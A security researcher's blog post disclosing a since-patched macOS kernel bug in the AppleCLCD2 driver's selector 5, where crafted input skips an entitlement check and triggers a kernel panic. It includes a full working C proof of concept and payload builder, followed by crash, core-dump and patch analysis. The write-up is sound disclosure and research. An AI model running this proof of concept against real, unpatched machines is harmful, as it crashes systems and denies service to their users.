Case Study: IOMobileFramebuffer NULL Pointer Dereference

Karol Mazurek

In my previous post, History of NULL Pointer Dereferences on macOS, I discussed how Apple implements numerous mitigations to make these bugs difficult to exploit. I mentioned that I discovered one such vulnerability while fuzzing. This article briefly extends that post, detailing the flaw and explaining how Apple addressed it.

Enjoy!

High-Level Overview

I identified a NULL pointer dereference vulnerability in the AppleCLCD2 service on macOS, within the IOMobileFramebufferUserClient::s_swap_submit external method (selector 5).

The issue involves:

  • Entitlement Check Bypass: A zero byte at offset 0x3F0 in the input buffer, allows unprivileged applications to bypass the com.apple.private.gain-map-access entitlement check.
  • Memory Corruption Trigger: Four NULL bytes at offset 0x430 confuse the driver’s memory validation, causing it to dereference a NULL pointer and trigger a kernel panic.

While Apple patched this issue in macOS 15.4, they did it silently without assigning a CVE or acknowledging the report, treating it as a non-security Denial of Service condition.

Proof of Concept Payload

The bug can be reliably triggered with a carefully crafted 1300-byte buffer sent to the driver’s selector 5:

payload = bytearray([0x41]*0x3F0)                    # Fill with 'A' characters
payload += bytearray([0x00]) # Bypass at offset 0x3F0
payload += bytearray([0x42]*7 + [0x43]*8 + [0x44]*48) # Padding
payload += bytearray([0x00, 0x00, 0x00, 0x00]) # Crash trigger at offset 0x430
payload += bytearray([0x46]*(1300-len(payload))) # Fill remaining space

This payload is much simpler than it looks. You can actually just send 0x3F0 bytes of any value, followed by a NULL byte, then four more NULL bytes at offset 0x430.

Proof of Concept Code

If you want to check it by yourself, here is the full code that triggers the panic:

/*  AppleCLCD2_PoC.c by Karol Mazurek (@karmaz95)

Minimal demonstration that calls AppleCLCD2 selector=5 with a crafted 1300-byte input to:
- bypass the entitlement check 
- and trigger a kernel crash due to zalloc_uaf_panic.

Compile example (macOS):
  clang -o clcd2_poc AppleCLCD2_PoC.c -framework IOKit

Run:
  ./clcd2_poc

Expectation: system may panic due to zalloc_uaf_panic.
*/

#include <IOKit/IOKitLib.h>
#include <mach/mach_error.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Service name and selector
#define SERVICE_NAME  "AppleCLCD2"
#define SERVICE_TYPE  0
#define SELECTOR      5

// The payload size must be 1300 (UserClient except inputStruct == 1300).
#define PAYLOAD_SIZE  1300

// Offsets of interest in the 1300-byte buffer.
#define OFFSET_BYPASS 0x3F0  // Byte that must be zero to skip entitlement check
#define OFFSET_CRASH  0x430  // Four bytes at 0x430 must be zero to trigger the crash (zalloc_uaf_panic)

static io_connect_t open_service(const char *name, uint32_t type);

int main(void)
{
    // 1) Open AppleCLCD2
    io_connect_t conn = open_service(SERVICE_NAME, SERVICE_TYPE);
    if (!conn) {
        return 1;
    }

    // 2) Create the 1300-byte payload
    unsigned char *payload = (unsigned char*)calloc(PAYLOAD_SIZE, 1);
    if (!payload) {
        fprintf(stderr, "[-] Failed to allocate payload buffer\n");
        IOServiceClose(conn);
        return 2;
    }

    // Fill everything with 0x41
    memset(payload, 0x41, PAYLOAD_SIZE);

    // Put zero at 0x3F0 (bypass entitlement check).
    payload[OFFSET_BYPASS] = 0x00;

    // Put four zeros at 0x430 to provoke the crash.
    memset(payload + OFFSET_CRASH, 0x00, 4);

    printf("[*] Prepared a 1300-byte payload. Bypass offset=0x%X, crash offset=0x%X\n",
           OFFSET_BYPASS, OFFSET_CRASH);

    // 3) Call selector 5 with this payload
    kern_return_t kr;
    size_t inputStructCnt = PAYLOAD_SIZE;
    kr = IOConnectCallMethod(conn,
                             SELECTOR,
                             NULL, 0,
                             payload, inputStructCnt,
                             NULL, NULL,
                             NULL, NULL);

    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] IOConnectCallMethod(%s, %u) returned 0x%x (%s)\n",
                SERVICE_NAME, SELECTOR, kr, mach_error_string(kr));
    } else {
        printf("[*] Call succeeded. If the driver is vulnerable, a panic may occur soon.\n");
    }

    // Cleanup
    free(payload);
    IOServiceClose(conn);
    return 0;
}

// ----------------------------------------------------------------------
// Open a named IOService, returns io_connect_t or 0 on error.
static io_connect_t open_service(const char *name, uint32_t type)
{
    io_service_t svc = IOServiceGetMatchingService(kIOMainPortDefault,
                                                   IOServiceMatching(name));
    if (!svc) {
        fprintf(stderr, "[-] No service named '%s'\n", name);
        return 0;
    }
    io_connect_t conn = 0;
    kern_return_t kr = IOServiceOpen(svc, mach_task_self(), type, &conn);
    IOObjectRelease(svc);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] IOServiceOpen(%s) = 0x%x (%s)\n",
                name, kr, mach_error_string(kr));
        return 0;
    }
    return conn;
}Code language: PHP (php)

It should work until macOS 15.4 version (tested on 15.3.2).

How the Issue Was Discovered

I am building a fuzzer for macOS drivers and reversing each driver’s external methods. For now, it is a dumb fuzzer that expects a proper driver name, connection type, selector, and its values. My RE workflow looks like this:

  • Find the newUserClient method e.g., IOMobileFramebufferAP::newUserClient
  • Reverse it and find what connection types it handles (most drivers handle any value).
  • Find externalMethod for a given connection type e.g., IOMobileFramebufferUserClient::externalMethod
  • Reverse it to find all selectors it handles and their values

After that, I store this information in the YAML format for my fuzzer, for example:

IOMobileFramebufferAP: # (AppleCLCD2) IOMobileFramebufferAP::newUserClient  (proxied to IOMobileFramebufferLegacy)
  0: # IOMobileFramebufferUserClient::externalMethod
    0: [3, 0, 0, 0]
    1: [0, 0, 0, 0]
    2: [0, 0, 0, 0]
    3: [2, 0, 1, 0]
    4: [0, 0, 1, 0]
    5: [0, 1300, 0, 0] # Vulnerable to Null Pointer DereferenceCode language: CSS (css)

I run my fuzzer and work on something else while waiting for it to crash. I also built a simple notification app that informs me via Telegram if a crash is detected. However, that’s a different topic. I may write about these helpful tools in the future.

Crash!

When I encountered a crash in the AppleCLCD2 driver, the register values caught my attention:

panic(cpu 2 caller 0xfffffe0008fe9964): Kernel data abort. at pc 0xfffffe001fe728c4
x0: 0x0000000000000000 x1: 0x0000000000000003
esr: 0x7373657296000006 far: 0x0000000000000000

The zeros in both x0 and far registers are classic indicators of a NULL pointer dereference. The crash occurred in zalloc_validate_element, suggesting memory corruption.

Code Flow Analysis

I loaded the kernel cache into IDA and found the selector handler. The code flow looks like this:

┌────────────┐
│ User Space │
│  (./poc)   │
└────┬───────┘
     │
     │ IOConnectCallMethod(..., selector=5, inputSize=1300, ...)
     ▼
┌────────────────────────────┐
│ s_swap_submit (wrapper)    │
│  - Checks entitlements     │
│  - Reads internal pointers │
│  - Calls swap_submit(...)  │
└────────────┬───────────────┘
             ▼
┌────────────────────────────┐
│ swap_submit                │
│  - Verifies input== 1300   │
│  - Retrieves v5() pointer  │
│  - Calls v5() function     │
└────────────┬───────────────┘
             ▼
┌────────────────────────────────────────────────┐
│ v5() → IOMobileFramebufferLegacy::swap_submit  │
│  - Reads swapID, enabled, completed from input │
│  - Calls a driver function                     │ <-- CRASH OCCURS HERE - it 
│  - Logs "IOMFB_SWAP_SUBMIT_LOST"               │
└────────────────────────────────────────────────┘
Code language: JavaScript (javascript)

The vulnerable code in the entitlement check path is shown below. By zeroing a byte at offset 0x3F0, we create a situation where *(v6 + 1008) evaluates to 0, skipping the entitlement check entirely.

if (v6 && *(v6 + 1008) && 
    !IOMobileFramebufferUserClient::isEntitlementSet(
        "com.apple.private.gain-map-access", this[29], a3)) {
    return 0xE00002C1LL;
}Code language: JavaScript (javascript)

The Null Dereference issue is elsewhere, I could not reach it in IDA and I stopped digging after Apple closed the report.

Core Dump

To find it, I disabled SIP and set nvram boot-args to debug=0xCC44 wdt=-1 to dump the core on panic. The next step was to execute the compiled poc code, and after a panic restart, load the core dump to lldb.

lldb -c YYYY-MM-DD-TIME.kernel.coreCode language: CSS (css)

Here are the registers and instructions on the crash from the Core dump:

(lldb) reg read
General Purpose Registers:
        x0 = 0x0000000000000000
        x1 = 0x0000000000000000
        x2 = 0x0000000000000000
        x3 = 0x0000000000000000
        x4 = 0xfffffe24ccb0a980
        x5 = 0xb6fb7e002422e308 (0xfffffe002422e308) kernel.release.t6000`OSArray::initWithObjects(OSObject const**, unsigned int, unsigned int) at OSArray.cpp:84
        x6 = 0x0000000000000000
        x7 = 0xfffffe00274ba960
        x8 = 0x0000000000000040
        x9 = 0x0000000000000000
       x10 = 0xfffffe10007b9f10
       x11 = 0x0000000000000001
       x12 = 0x000000000000000e
       x13 = 0x0000000000003570
       x14 = 0x0000000000000010
       x15 = 0xfffffe00274cfb80  kernel.release.t6000`audio_active + 40064
       x16 = 0xfffffe00230c1650  kernel.release.t6000`vtable for OSCollectionIterator::MetaClass + 184
       x17 = 0x1601fe00230c1650
       x18 = 0x0000000000000000
       x19 = 0xfffffe00274d4b00  kernel.release.t6000`audio_active + 60416
       x20 = 0x00000000000d1004
       x21 = 0x0000000000000030
       x22 = 0xfffffe24cccdf8e0
       x23 = 0xfffffe1666c57ab0
       x24 = 0x0000000000000000
       x25 = 0x0000000000000030
       x26 = 0xfffffe002752d000  kernel.release.t6000`_NSConcreteFinalizingBlock + 232
       x27 = 0xfffffe0027536998  kernel.release.t6000`IOPowerConnection::gMetaClass
       x28 = 0x0000000000000001
        fp = 0xfffffe5000a5bc00
        lr = 0xfce7fe0023c24754 (0xfffffe0023c24754) kernel.release.t6000`zalloc_ext + 176 [inlined] zalloc_validate_element + 16 at zalloc.c:3162:6
  kernel.release.t6000`zalloc_ext + 160 [inlined] zalloc_return at zalloc.c:6661:2
  kernel.release.t6000`zalloc_ext + 160 at zalloc.c:6983:11
        sp = 0xfffffe5000a5bbd0
        pc = 0xfffffe0023c24754  kernel.release.t6000`zalloc_ext + 176 [inlined] zalloc_validate_element + 16 at zalloc.c:3162:6
  kernel.release.t6000`zalloc_ext + 160 [inlined] zalloc_return at zalloc.c:6661:2
  kernel.release.t6000`zalloc_ext + 160 at zalloc.c:6983:11
      cpsr = 0x40401208

(lldb) di
kernel.release.t6000`zalloc_ext:
    0xfffffe0023c246a4 <+0>:   pacibsp
    0xfffffe0023c246a8 <+4>:   stp    x24, x23, [sp, #-0x40]!
    0xfffffe0023c246ac <+8>:   stp    x22, x21, [sp, #0x10]
    0xfffffe0023c246b0 <+12>:  stp    x20, x19, [sp, #0x20]
    0xfffffe0023c246b4 <+16>:  stp    x29, x30, [sp, #0x30]
    0xfffffe0023c246b8 <+20>:  add    x29, sp, #0x30
    0xfffffe0023c246bc <+24>:  mov    x20, x2
    0xfffffe0023c246c0 <+28>:  mov    x22, x1
    0xfffffe0023c246c4 <+32>:  mov    x19, x0
    0xfffffe0023c246c8 <+36>:  mrs    x8, TPIDR_EL1
    0xfffffe0023c246cc <+40>:  ldr    w9, [x8, #0x1b0]
    0xfffffe0023c246d0 <+44>:  add    w9, w9, #0x1
    0xfffffe0023c246d4 <+48>:  str    w9, [x8, #0x1b0]
    0xfffffe0023c246d8 <+52>:  ldr    x10, [x0, #0x40]
    0xfffffe0023c246dc <+56>:  cbz    x10, 0xfffffe0023c24810 ; <+364> at zalloc.c:6988:9
    0xfffffe0023c246e0 <+60>:  ldrh   w9, [x8, #0x1a0]
    0xfffffe0023c246e4 <+64>:  lsl    x9, x9, #14
    0xfffffe0023c246e8 <+68>:  add    x3, x9, x10
    0xfffffe0023c246ec <+72>:  ldrh   w10, [x3, #0x4]
    0xfffffe0023c246f0 <+76>:  cbz    w10, 0xfffffe0023c247bc ; <+280> [inlined] zalloc_cached_get_pcpu_cache at zalloc.c:6897:6
    0xfffffe0023c246f4 <+80>:  ldrh   w21, [x19, #0x34]
    0xfffffe0023c246f8 <+84>:  ldr    x10, [x9, x22]
    0xfffffe0023c246fc <+88>:  add    x10, x10, x21
    0xfffffe0023c24700 <+92>:  str    x10, [x9, x22]
    0xfffffe0023c24704 <+96>:  ldrh   w9, [x3, #0x4]
    0xfffffe0023c24708 <+100>: sub    w9, w9, #0x1
    0xfffffe0023c2470c <+104>: strh   w9, [x3, #0x4]
    0xfffffe0023c24710 <+108>: and    x9, x9, #0xffff
    0xfffffe0023c24714 <+112>: ldr    x10, [x3, #0x8]
    0xfffffe0023c24718 <+116>: lsl    x9, x9, #3
    0xfffffe0023c2471c <+120>: ldr    x22, [x10, x9]
    0xfffffe0023c24720 <+124>: str    xzr, [x10, x9]
    0xfffffe0023c24724 <+128>: ldr    w9, [x8, #0x1b0]
    0xfffffe0023c24728 <+132>: cbz    w9, 0xfffffe0023c247e4 ; <+320> [inlined] _enable_preemption at preemption_disable.c:196:3
    0xfffffe0023c2472c <+136>: subs   w9, w9, #0x1
    0xfffffe0023c24730 <+140>: str    w9, [x8, #0x1b0]
    0xfffffe0023c24734 <+144>: b.ne   0xfffffe0023c24744 ; <+160> [inlined] zalloc_validate_element at zalloc.c:3159:6
    0xfffffe0023c24738 <+148>: ldr    x8, [x8, #0x1a8]
    0xfffffe0023c2473c <+152>: ldrb   w8, [x8, #0x4c]
    0xfffffe0023c24740 <+156>: tbnz   w8, #0x2, 0xfffffe0023c247e8 ; <+324> [inlined] _enable_preemption_write_count at preemption_disable.c:103:11
    0xfffffe0023c24744 <+160>: tbnz   w20, #0xe, 0xfffffe0023c2475c ; <+184> [inlined] zalloc_return + 24 at zalloc.c:6665:2
    0xfffffe0023c24748 <+164>: mov    x0, x22
    0xfffffe0023c2474c <+168>: mov    x1, x21
    0xfffffe0023c24750 <+172>: bl     0xfffffe0023b5a520 ; memcmp_zero_ptr_aligned
->  0xfffffe0023c24754 <+176>: cbnz   x0, 0xfffffe0023c24840 ; <+412> [inlined] zalloc_validate_element at zalloc.c:3163:3
    0xfffffe0023c24758 <+180>: tbnz   w20, #0xd, 0xfffffe0023c24784 ; <+224> [inlined] zpercpu_count at zalloc.c:2888:9
    0xfffffe0023c2475c <+184>: mov    x0, x19
    0xfffffe0023c24760 <+188>: mov    x1, x22
    0xfffffe0023c24764 <+192>: nop
    0xfffffe0023c24768 <+196>: mov    x0, x22
    0xfffffe0023c2476c <+200>: mov    x1, x21
    0xfffffe0023c24770 <+204>: ldp    x29, x30, [sp, #0x30]
    0xfffffe0023c24774 <+208>: ldp    x20, x19, [sp, #0x20]
    0xfffffe0023c24778 <+212>: ldp    x22, x21, [sp, #0x10]
    0xfffffe0023c2477c <+216>: ldp    x24, x23, [sp], #0x40
    0xfffffe0023c24780 <+220>: retab
    0xfffffe0023c24784 <+224>: adrp   x8, -3108
    0xfffffe0023c24788 <+228>: ldr    w23, [x8, #0x5d0]
    0xfffffe0023c2478c <+232>: mov    x20, x22
    0xfffffe0023c24790 <+236>: subs   x23, x23, #0x1
    0xfffffe0023c24794 <+240>: b.eq   0xfffffe0023c2475c ; <+184> [inlined] zalloc_return + 24 at zalloc.c:6665:2
    0xfffffe0023c24798 <+244>: add    x20, x20, #0x4, lsl #12 ; =0x4000
    0xfffffe0023c2479c <+248>: mov    x0, x20
    0xfffffe0023c247a0 <+252>: mov    x1, x21
    0xfffffe0023c247a4 <+256>: bl     0xfffffe0023b5a520 ; memcmp_zero_ptr_aligned
    0xfffffe0023c247a8 <+260>: cbz    x0, 0xfffffe0023c24790 ; <+236> [inlined] zalloc_validate_element + 12 at zalloc.c:3166:36
    0xfffffe0023c247ac <+264>: mov    x0, x19
    0xfffffe0023c247b0 <+268>: mov    x1, x20
    0xfffffe0023c247b4 <+272>: mov    x2, x21
    0xfffffe0023c247b8 <+276>: bl     0xfffffe0024418d18 ; zalloc_uaf_panic at zalloc.c:3125
    0xfffffe0023c247bc <+280>: ldrh   w10, [x3, #0x6]
    0xfffffe0023c247c0 <+284>: cbz    w10, 0xfffffe0023c247f4 ; <+336> at zalloc.c
    0xfffffe0023c247c4 <+288>: ldr    x11, [x3, #0x30]
    0xfffffe0023c247c8 <+292>: cbnz   x11, 0xfffffe0023c247f4 ; <+336> at zalloc.c
    0xfffffe0023c247cc <+296>: strh   w10, [x3, #0x4]
    0xfffffe0023c247d0 <+300>: strh   wzr, [x3, #0x6]
    0xfffffe0023c247d4 <+304>: ldur   q0, [x3, #0x8]
    0xfffffe0023c247d8 <+308>: ext.16b v0, v0, v0, #0x8
    0xfffffe0023c247dc <+312>: stur   q0, [x3, #0x8]
    0xfffffe0023c247e0 <+316>: b      0xfffffe0023c246f4 ; <+80> [inlined] zone_elem_inner_size at zalloc_internal.h:670:15
    0xfffffe0023c247e4 <+320>: bl     0xfffffe002441db88 ; _enable_preemption_underflow at preemption_disable.c:173
    0xfffffe0023c247e8 <+324>: bl     0xfffffe0023d060c8 ; kernel_preempt_check at preemption_disable.c:68
    0xfffffe0023c247ec <+328>: tbz    w20, #0xe, 0xfffffe0023c24748 ; <+164> [inlined] zalloc_validate_element + 4 at zalloc.c:3162:6
    0xfffffe0023c247f0 <+332>: b      0xfffffe0023c2475c ; <+184> [inlined] zalloc_return + 24 at zalloc.c:6665:2
    0xfffffe0023c247f4 <+336>: mov    x21, x9
    0xfffffe0023c247f8 <+340>: mov    x0, x19
    0xfffffe0023c247fc <+344>: mov    x1, #0x0 ; =0
    0xfffffe0023c24800 <+348>: mov    x2, x20
    0xfffffe0023c24804 <+352>: mov    x23, x8
    0xfffffe0023c24808 <+356>: bl     0xfffffe0023c24860 ; zalloc_cached_prime at zalloc.c:6839
    0xfffffe0023c2480c <+360>: cbnz   x0, 0xfffffe0023c24850 ; <+428> at zalloc.c
    0xfffffe0023c24810 <+364>: mov    x0, x19
    0xfffffe0023c24814 <+368>: mov    x1, x22
    0xfffffe0023c24818 <+372>: mov    x2, x20
    0xfffffe0023c2481c <+376>: ldp    x29, x30, [sp, #0x30]
    0xfffffe0023c24820 <+380>: ldp    x20, x19, [sp, #0x20]
    0xfffffe0023c24824 <+384>: ldp    x22, x21, [sp, #0x10]
    0xfffffe0023c24828 <+388>: ldp    x24, x23, [sp], #0x40
    0xfffffe0023c2482c <+392>: autibsp
    0xfffffe0023c24830 <+396>: eor    x16, x30, x30, lsl #1
    0xfffffe0023c24834 <+400>: tbz    x16, #0x3e, 0xfffffe0023c2483c ; <+408> at zalloc.c:6988:9
    0xfffffe0023c24838 <+404>: brk    #0xc471
    0xfffffe0023c2483c <+408>: b      0xfffffe0023c24df4 ; zalloc_item at zalloc.c:6683
    0xfffffe0023c24840 <+412>: mov    x0, x19
    0xfffffe0023c24844 <+416>: mov    x1, x22
    0xfffffe0023c24848 <+420>: mov    x2, x21
    0xfffffe0023c2484c <+424>: bl     0xfffffe0024418d18 ; zalloc_uaf_panic at zalloc.c:3125
    0xfffffe0023c24850 <+428>: mov    x8, x23
    0xfffffe0023c24854 <+432>: mov    x3, x0
    0xfffffe0023c24858 <+436>: mov    x9, x21
    0xfffffe0023c2485c <+440>: b      0xfffffe0023c246f4 ; <+80> [inlined] zone_elem_inner_size at zalloc_internal.h:670:15Code language: HTML, XML (xml)

This indicates that our payload misleads the driver into passing a NULL pointer to memory validation functions, which in turn confuses the zalloc_validate_element and causes it to trigger zalloc_uaf_panic.

void zalloc_validate_element(zone_t zone, void *element) {
    if (memcmp_zero_ptr_aligned(element, zone->elem_size)) {
        zalloc_uaf_panic(zone, element); // Triggers controlled panic
    }
}Code language: JavaScript (javascript)

At this stage, I decided to report it to Apple as a Denial of Service issue.

FIX

We can check the fix by decompressing the Kernel Cache of macOS 15.4 and loading it into IDA:

ipsw kernel dec $(ls /System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple.kernelcaches/kernelcache) -o kernelcache
ida kernelcache.decompressedCode language: JavaScript (javascript)

Then we jump to IOMobileFramebufferUserClient::externalMethod and find the selectors dispatch array:

After that, we can parse the previously introduced IDA extension and get the selector five function handler. We can double-click on it to cross-reference to its code:

When we diff this new version and the code before the fix, we can see that it now correctly checks the entitlement. The check is stricter (== 1 instead of != 0).

The latter swap_submit logic is not changed, but probably the missing puzzle that I did not dig into, of v5() function was changed.

The Null Dereference patch was probably introduced in the function called in v5().

Final Words

I was a little disappointed I did not receive any recognition for that, but it is how it is 😀 Apple patched the issue in macOS version 15.4, but they allowed me to write about it:

If anyone reading this article finds a better way to leverage this than just triggering a Null Dereference, please let me know! This case study is an educational resource for researchers and developers interested in kernel debugging, reverse engineering, and security analysis.

If this blog post interests you and you are interested in Cybersecurity in general, I encourage you to visit our AFINE blog regularly for new knowledge. If you are interested in macOS and want to learn more, bookmark the Snake_Apple repository, as any article I wrote will be listed there.

I hope you learned something new here!

Karol Mazurek
Head of Research

Is your company secure online?

Join our list of satisfied customers and safeguard your company’s data!

Trust us and leave your contact details. Our team will contact you to discuss the details and prepare a tailor-made offer for you. Full discretion and confidentiality of your data are guaranteed.

Willing to ask a question immediately? Visit our Contact page.